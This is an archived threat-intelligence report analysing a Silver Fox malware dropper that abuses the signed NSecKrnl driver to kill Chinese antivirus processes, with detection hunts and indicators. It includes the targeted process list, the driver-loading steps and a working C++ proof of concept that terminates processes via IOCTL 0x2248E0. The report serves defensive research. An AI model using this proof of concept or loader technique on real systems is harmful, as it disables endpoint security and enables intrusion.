{
	"id": "a9f1b35a-b0b2-475e-97b2-f6d7887dce8b",
	"created_at": "2026-04-06T01:32:03.883011Z",
	"updated_at": "2026-04-10T13:11:25.399988Z",
	"deleted_at": null,
	"sha1_hash": "3f1a023499cd38e50d16e2021d9403b1886aecab",
	"title": "Silver Fox Exploiting BYOVD to Kill Endpoint Security",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 114982,
	"plain_text": "Silver Fox Exploiting BYOVD to Kill Endpoint Security\r\nBy Maurice Fielenbach\r\nPublished: 2025-09-07 · Archived: 2026-04-06 00:39:58 UTC\r\nDuring threat-intelligence activities, we identified a new Silver Fox campaign distributing fake application\r\ninstallers (e.g., WinRAR, Telegram, and others). The installer drops multiple binaries; one stood out: a file named\r\nNVIDIA.exe (SHA-256: b4ac2e473c5d6c5e1b8430a87ef4f33b53b9ba0f585d3173365e437de4c816b2 ), which,\r\nduring analysis, revealed the presence of an unknown driver used to support its operations.\r\nNVIDIA.exe ’s main logic is deliberately simple. It defines a fixed list of 20 process/image names and\r\ncontinuously hunts for them:\r\nZhuDongFangYu.exe\r\n360tray.exe\r\nkxecenter.exe\r\nkxemain.exe\r\nkxetray.exe\r\nkxescore.exe\r\nHipsMain.exe\r\nHipsTray.exe\r\nHipsDaemon.exe\r\nQMDL.exe\r\nQMPersonalCenter.exe\r\nQQPCPatch.exe\r\nQQPCRealTimeSpeedup.exe\r\nQQPCRTP.exe\r\nQQPCTray.exe\r\nQQRepair.exe\r\n360sd.exe\r\n360rp.exe\r\n360Tray.exe\r\n360Safe.exe\r\nThe list comprises Chinese security products, strongly suggesting targeting of Chinese victims, with a focus on\r\n360 Antivirus (Beijing Qihoo Technology Co., Ltd.). Immediately after defining the list, the sample opens a driver\r\nhandle.\r\nTargeted process names and driver handle open\r\nTargeted process names and driver handle open\r\nhttps://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/\r\nPage 1 of 8\n\nThe sample then enters an infinite loop that enumerates active processes with a Toolhelp32snapshot and, on\r\neach match, sends the PID to the driver via DeviceIoControl :\r\nDeviceIoControl(g_DriverHandle,\r\n 0x2248E0u,\r\n \u0026InBuffer, 4u, // PID (DWORD)\r\n 0, 0,\r\n (LPDWORD)\u0026BytesReturned,\r\n 0);\r\nWe later confirm that this IOCTL ( 0x2248E0 ) triggers process termination inside the driver. As a result, the loop\r\npersistently attempts to kill the targeted security products.\r\nProcess snapshot iteration and repeated DeviceIoControl in an endless loop\r\nProcess snapshot iteration and repeated DeviceIoControl in an endless loop\r\nAnalysis of the Driver Load Function\r\nThe driver-loading routine is quite revealing through its strings and APIs. We observe\r\nCreateFileW(L\"\\\\\\\\.\\\\NSecKrnl\", …) and log text \"[-] \\\\Device\\\\NSecKrnl is already in use.\" , clearly\r\ntying user mode to a kernel device named NSecKrnl . If \\\\.\\NSecKrnl already exists, the function returns an\r\nerror from .text:0000000140002C3D .\r\nNSecKrnl references and PRNG seeding\r\nNSecKrnl references and PRNG seeding\r\nMore interestingly, the routine calls srand( time(0) * GetCurrentThreadId() ) (Hex-Rays showed\r\nunknown_libname_33(0) → time(0) ). It then uses rand() to generate a random alphabetic name:\r\ndriverFileNameLength = rand() % 20 + 10;\r\n driverFileNameLengthTmp = driverFileNameLength;\r\n if ( driverFileNameLength \u003e 0 )\r\n {\r\n v10 = 0;\r\n do\r\n *((_BYTE *)\u0026finalDriverFileName + v10++) = alphaArray[rand() % 52uLL];// Get characters from 52 character\r\n while ( v10 \u003c driverFileNameLengthTmp );\r\n }\r\nThe function enumerates the temp directory, writes the driver, and registers it as a service.\r\nDriver loading summary: temp directory enumeration, file drop, and service registration\r\nDriver loading summary: temp directory enumeration, file drop, and service registration\r\nhttps://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/\r\nPage 2 of 8\n\nThe temp path discovery uses GetTempPathA . If it fails, the loader returns. The wrapper then invokes another\r\nfunction ( .text:00007FF7AF552DE0 ) responsible for writing the driver, confirming that NVIDIA.exe is both a\r\ndropper and an EDR silencer.\r\nThe writer at .text:0000000140002960 references data at .rdata:000000014003EF80 with a size of 25,056 bytes\r\n( 0x61E0 ), immediately after initializing an ofstream / filebuf .\r\nWriting the embedded driver (size 25,056 bytes)\r\nWriting the embedded driver (size 25,056 bytes)\r\nThe memory at that address begins with MZ ( 0x4D5A ); we converted the section to an array and dumped it to\r\ndisk for static analysis, covered in the next blog section.\r\nEmbedded driver bytes (MZ header) in .rdata\r\nEmbedded driver bytes (MZ header) in .rdata\r\nRegistering and Loading the Driver\r\nBefore the main loop receives the final device handle, the dropper must register the driver it wrote to %TEMP%\r\nunder its random name of up to twenty-nine characters. The registration routine creates the service key beneath\r\nHKLM\\SYSTEM\\CurrentControlSet\\Services\\\u003cRandomName\u003e , sets the image path to the dropped file, enables the\r\nprivilege required to load kernel drivers, and calls NtLoadDriver using the \\Registry\\Machine\\...\r\nrepresentation of the same path.\r\nDriver registration routine invoked\r\nDriver registration routine invoked\r\nThe registration routine accepts a std::wstring argument containing the fully qualified image path to the driver\r\nfile. It first constructs the service subkey SYSTEM\\CurrentControlSet\\Services\\\u003cRandomName\u003e and calls\r\nRegCreateKeyW . If this fails, it logs the error and returns a failure. It then writes ImagePath as a REG_EXPAND_SZ\r\nusing the path from the string argument and sets Type to 1, which is the value for SERVICE_KERNEL_DRIVER . On\r\nlegitimate systems ImagePath typically appears as \\ SystemRoot\\System32\\drivers\\Name.sys (expandable) or\r\n\\??\\C:\\Windows\\System32\\drivers\\Name.sys (native). In this campaign, it points to a user-writable temporary\r\ndirectory.\r\nService key creation and ImagePath/Type written\r\nService key creation and ImagePath/Type written\r\nThe routine then resolves two functions from ntdll.dll at runtime: RtlAdjustPrivilege and NtLoadDriver . It\r\ncalls RtlAdjustPrivilege to enable SeLoadDriverPrivilege (privilege index 10) on the process token and\r\nrecords the previous state. If this step fails, the loader reports that privilege acquisition failed and returns, since the\r\nsubsequent kernel API will fail without it. The final preparation is constructing the UNICODE_STRING\r\n\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\\u003cRandomName\u003e and passing it to NtLoadDriver . The\r\ncode logs the status in hex and treats both conventional success and STATUS_IMAGE_ALREADY_LOADED\r\n( 0xC000010E ) as success conditions.\r\nhttps://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/\r\nPage 3 of 8\n\nRtlAdjustPrivilege and runtime resolution from ntdll.dll\r\nRtlAdjustPrivilege and runtime resolution from ntdll.dll\r\nAnalysis of the Dropped Driver\r\nWith the dropper understood, we turned to the driver itself. Although we previously dumped it directly from\r\n.rdata:14003EF80 , the same effect can be observed by following the write at runtime with a debugger. In a\r\nrepresentative execution, the dropper created\r\nC:\\Users\\AZUREU~1\\AppData\\Local\\Temp\\hRLRvTzewcfeyTHCsnrhGZlB and immediately registered a service of the\r\nsame name under HKLM\\SYSTEM\\CurrentControlSet\\Services\\hRLRvTzewcfeyTHCsnrhGZlB .\r\nNVIDIA.exe writing the driver on disk (x64dbg)\r\nNVIDIA.exe writing the driver on disk (x64dbg)\r\nServices registry key referencing the dropped driver\r\nServices registry key referencing the dropped driver\r\nAt the time of analysis, the dropped driver NSecKrnl64\r\n( 206f27ae820783b7755bca89f83a0fe096dbb510018dd65b63fc80bd20c03261 ) was validly signed by Shandong\r\nAnzai Information Technology CO., Ltd., with a single vendor classifying it as malicious.\r\nNSecKrnl on VirusTotal\r\nNSecKrnl on VirusTotal\r\nThe driver’s entry routine initializes a few globals including a spinlock, sets up \\Device\\NSecKrnl and\r\n\\DosDevices\\NSecKrnl so that user mode can reach it as \\\\.\\NSecKrnl , and wires the IRP dispatch table so that\r\nIRP_MJ_CREATE and IRP_MJ_CLOSE both route to sub_140001010 while IRP_MJ_DEVICE_CONTROL routes to\r\nsub_140001030 . It installs an unload routine, calls IoCreateDevice with a DeviceType of 0x22\r\n( FILE_DEVICE_UNKNOWN ), and creates the DOS-visible symbolic link. If link creation fails, it deletes the device\r\nand returns that error. On the successful path, it registers a process-creation notify routine via\r\nPsSetCreateProcessNotifyRoutine , an image-load notify routine via PsSetLoadImageNotifyRoutine , stores\r\nwhether those registrations succeeded, and calls a final internal initializer before returning.\r\nDriver entry (DriverEntry)\r\nDriver entry (DriverEntry)\r\nThe IOCTL dispatcher at sub_140001030 ( .text:0000000140001030 ) is the IRP_MJ_DEVICE_CONTROL handler. It\r\nreads the control code from the current stack location and branches into one of four handlers. The codes are four\r\nadjacent values: 0x2248D4 , 0x2248D8 , 0x2248DC , and 0x2248E0 , constructed as\r\nCTL_CODE(FILE_DEVICE_UNKNOWN, 0x1238..0x123B, METHOD_BUFFERED, FILE_READ_ACCESS) . The specific code\r\nobserved in user mode, 0x2248E0 , reaches the process termination primitive implemented at sub_1400013E8 .\r\nIOCTL dispatch\r\nIOCTL dispatch\r\nhttps://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/\r\nPage 4 of 8\n\nThe termination primitive sub_1400013E8 ( .text:00000001400013E8 ) accepts the input as a PID, resolves the\r\ncorresponding EPROCESS via PsLookupProcessByProcessId , opens a kernel-mode handle using\r\nObOpenObjectByPointer with OBJ_KERNEL_HANDLE ( 0x200 ) and PROCESS_TERMINATE ( 0x1 ), calls\r\nZwTerminateProcess , and finally closes the handle and dereferences the process object. Although the function\r\nreturns 0 unconditionally, the success or failure observed by user mode flows from the status the dispatcher writes\r\nto the IRP before completing it.\r\nProcess termination primitive\r\nProcess termination primitive\r\nProof of Concept\r\nDuring research we fuzzed the control interface and confirmed that the driver accepts the same IOCTL\r\n( 0x2248E0 ) for process termination, which allowed us to build a minimal proof of concept to validate detections\r\nin a lab. The PoC takes a process name, resolves the PID using Toolhelp, opens \\\\.\\NSecKrnl , and issues\r\nDeviceIoControl with the PID in a four-byte buffer.\r\n#include \u003cwindows.h\u003e\r\n#include \u003ctlhelp32.h\u003e\r\n#include \u003cstring\u003e\r\n#include \u003coptional\u003e\r\n#include \u003ciostream\u003e\r\nDWORD getPIDByProcessName(const std::wstring\u0026 processName)\r\n{\r\n  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n  if (snapshot == INVALID_HANDLE_VALUE) {\r\n    std::wcerr \u003c\u003c L\"[-] CreateToolhelp32Snapshot failed. Error: \" \u003c\u003c GetLastError() \u003c\u003c std::endl;\r\n    return 0;\r\n  }\r\n  PROCESSENTRY32W pe{};\r\n  pe.dwSize = sizeof(pe);\r\n  if (!Process32FirstW(snapshot, \u0026pe)) {\r\n    std::wcerr \u003c\u003c L\"[-] Process32FirstW failed. Error: \" \u003c\u003c GetLastError() \u003c\u003c std::endl;\r\n    CloseHandle(snapshot);\r\n    return 0;\r\n  }\r\n  do {\r\n    if (_wcsicmp(pe.szExeFile, processName.c_str()) == 0) {\r\n      DWORD pid = pe.th32ProcessID;\r\n      CloseHandle(snapshot);\r\nhttps://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/\r\nPage 5 of 8\n\nreturn pid;\r\n}\r\n  } while (Process32NextW(snapshot, \u0026pe));\r\n  CloseHandle(snapshot);\r\n  return 0;\r\n}\r\nint wmain(int argc, wchar_t* argv[])\r\n{\r\n  if (argc \u003c 2) {\r\n    std::wcerr \u003c\u003c L\"Usage: pidlookup.exe \u003cprocess.exe\u003e\" \u003c\u003c std::endl;\r\n    return 1;\r\n  }\r\n  DWORD pid = getPIDByProcessName(argv[1]);\r\n  if (pid) {\r\n    std::wcout \u003c\u003c L\"[+] Found PID: \" \u003c\u003c pid \u003c\u003c std::endl;\r\n  }\r\n  else {\r\n    std::wcerr \u003c\u003c L\"[-] Process not found.\" \u003c\u003c std::endl;\r\n    return 1;\r\n  }\r\n  HANDLE deviceHandle = CreateFileW(L\"\\\\\\\\.\\\\NSecKrnl\", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTIN\r\n  if (deviceHandle == INVALID_HANDLE_VALUE)\r\n  {\r\n    std::wcerr \u003c\u003c L\"[-] Failed to open handle to driver 'NSecKrnl'. Error: \" \u003c\u003c GetLastError() \u003c\u003c std::endl;\r\n    return 1;\r\n  }\r\n  constexpr DWORD IOCTL_TERMINATE_PROCESS = 0x2248E0u;\r\n  DWORD bytesReturned = 0;\r\n  BOOL success = DeviceIoControl(deviceHandle, IOCTL_TERMINATE_PROCESS, \u0026pid, sizeof(DWORD), nullptr, 0, \u0026byte\r\n  std::wcout \u003c\u003c L\"[*] Tried to kill PID \" \u003c\u003c pid \u003c\u003c std::endl;\r\n  return 0;\r\n}\r\nPoC attempting to terminate processes via \\\\.\\NSecKrnl\r\nhttps://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/\r\nPage 6 of 8\n\nPoC attempting to terminate processes via \\\\.\\NSecKrnl\r\nDetection\r\nEnable the Windows Vulnerable Driver Blocklist (and WDAC/HVCI where feasible). Monitor for driver and\r\nservice installation activity that references non-default, user-writable paths (for example %TEMP% ,\r\n%LOCALAPPDATA%\\Temp , C:\\Windows\\Temp , C:\\Users\\\u003cname\u003e\\AppData\\Local\\Temp , or C:\\ProgramData ).\r\nCorrelate driver file creation with service registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Services\\\r\n\u003cname\u003e\\ImagePath and confirm the subsequent driver load. This combination is a high-signal indicator with very\r\nlow false-positive rates in enterprise environments.\r\nUse the following quick hunts to surface the behavior in native Windows logs:\r\n# Services installed with ImagePath in temp (System 7045)\r\nGet-WinEvent -FilterHashtable @{LogName='System'; Id=7045} |\r\n Where-Object { $_.Message -match '(?i)\\\\temp\\\\' } |\r\n Select-Object TimeCreated, Message\r\n# Driver loads from temp (Sysmon 6)\r\nGet-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=6} |\r\n Where-Object { $_.Message -match '(?i)\\\\temp\\\\' } |\r\n Select-Object TimeCreated, Message\r\n# Registry writes to Services\\*\\ImagePath with temp (Sysmon 13)\r\nGet-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=13} |\r\n Where-Object { $_.Message -match 'Services\\\\.+\\\\ImagePath' -and $_.Message -match '(?i)\\\\temp\\\\' } | Select-Ob\r\nTune by this list is short. Pair these hunts with your Sysmon configuration that captures Event ID 11 (file create),\r\nEvent ID 13 (registry set), and Event ID 6 (driver load with hash and signature fields) to build a complete timeline\r\nthat begins with the .sys file landing in a temp path, proceeds to the Services ImagePath write, and ends with\r\nthe kernel load attempt.\r\nSysmon Event ID 13 – Registry value set\r\nSysmon Event ID 13 – Registry value set\r\nWrapping Up\r\nRemember that deleting the Services registry key and removing the driver file does not evict a currently loaded\r\ndriver; the device object remains resident until the driver is cleanly stopped, or the system is rebooted. After\r\ncontainment, reboot and validate that \\\\.\\NSecKrnl is no longer accessible, then review logs for additional\r\nartifacts from the same campaign. Treat any observation of this behavior as a potential backdoor/RAT deployment\r\nand escalate to incident response.\r\nIndicators\r\nhttps://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/\r\nPage 7 of 8\n\nNVIDIA.exe\r\nMD5: 5d38c8a2e1786e464a368465d594d2b4\r\nSHA-1: b5a605440f50e8d0fd5b26d01886a3b4a3dd3c8d\r\nSHA-256: b4ac2e473c5d6c5e1b8430a87ef4f33b53b9ba0f585d3173365e437de4c816b2\r\nNSecKrnl64.sys\r\nMD5: 80961850786d6531f075b8a6f9a756ad\r\nSHA-1: b0b912a3fd1c05d72080848ec4c92880004021a1\r\nSHA-256: 206f27ae820783b7755bca89f83a0fe096dbb510018dd65b63fc80bd20c03261\r\nSource: https://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/\r\nhttps://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/"
	],
	"report_names": [
		"valleyrat-exploiting-byovd-to-kill-endpoint-security"
	],
	"threat_actors": [
		{
			"id": "8f68387a-aced-4c99-b2a6-aa85071a0ca3",
			"created_at": "2024-06-25T02:00:05.030976Z",
			"updated_at": "2026-04-10T02:00:03.656871Z",
			"deleted_at": null,
			"main_name": "Void Arachne",
			"aliases": [
				"Silver Fox"
			],
			"source_name": "MISPGALAXY:Void Arachne",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "a7805d1a-b8d0-4a42-ae86-1d8711e0b2b9",
			"created_at": "2024-08-28T02:02:09.729503Z",
			"updated_at": "2026-04-10T02:00:04.967533Z",
			"deleted_at": null,
			"main_name": "Void Arachne",
			"aliases": [
				"Silver Fox"
			],
			"source_name": "ETDA:Void Arachne",
			"tools": [
				"Gh0stBins",
				"Gh0stCringe",
				"HoldingHands RAT",
				"Winos"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775439123,
	"ts_updated_at": 1775826685,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3f1a023499cd38e50d16e2021d9403b1886aecab.pdf",
		"text": "https://archive.orkl.eu/3f1a023499cd38e50d16e2021d9403b1886aecab.txt",
		"img": "https://archive.orkl.eu/3f1a023499cd38e50d16e2021d9403b1886aecab.jpg"
	}
}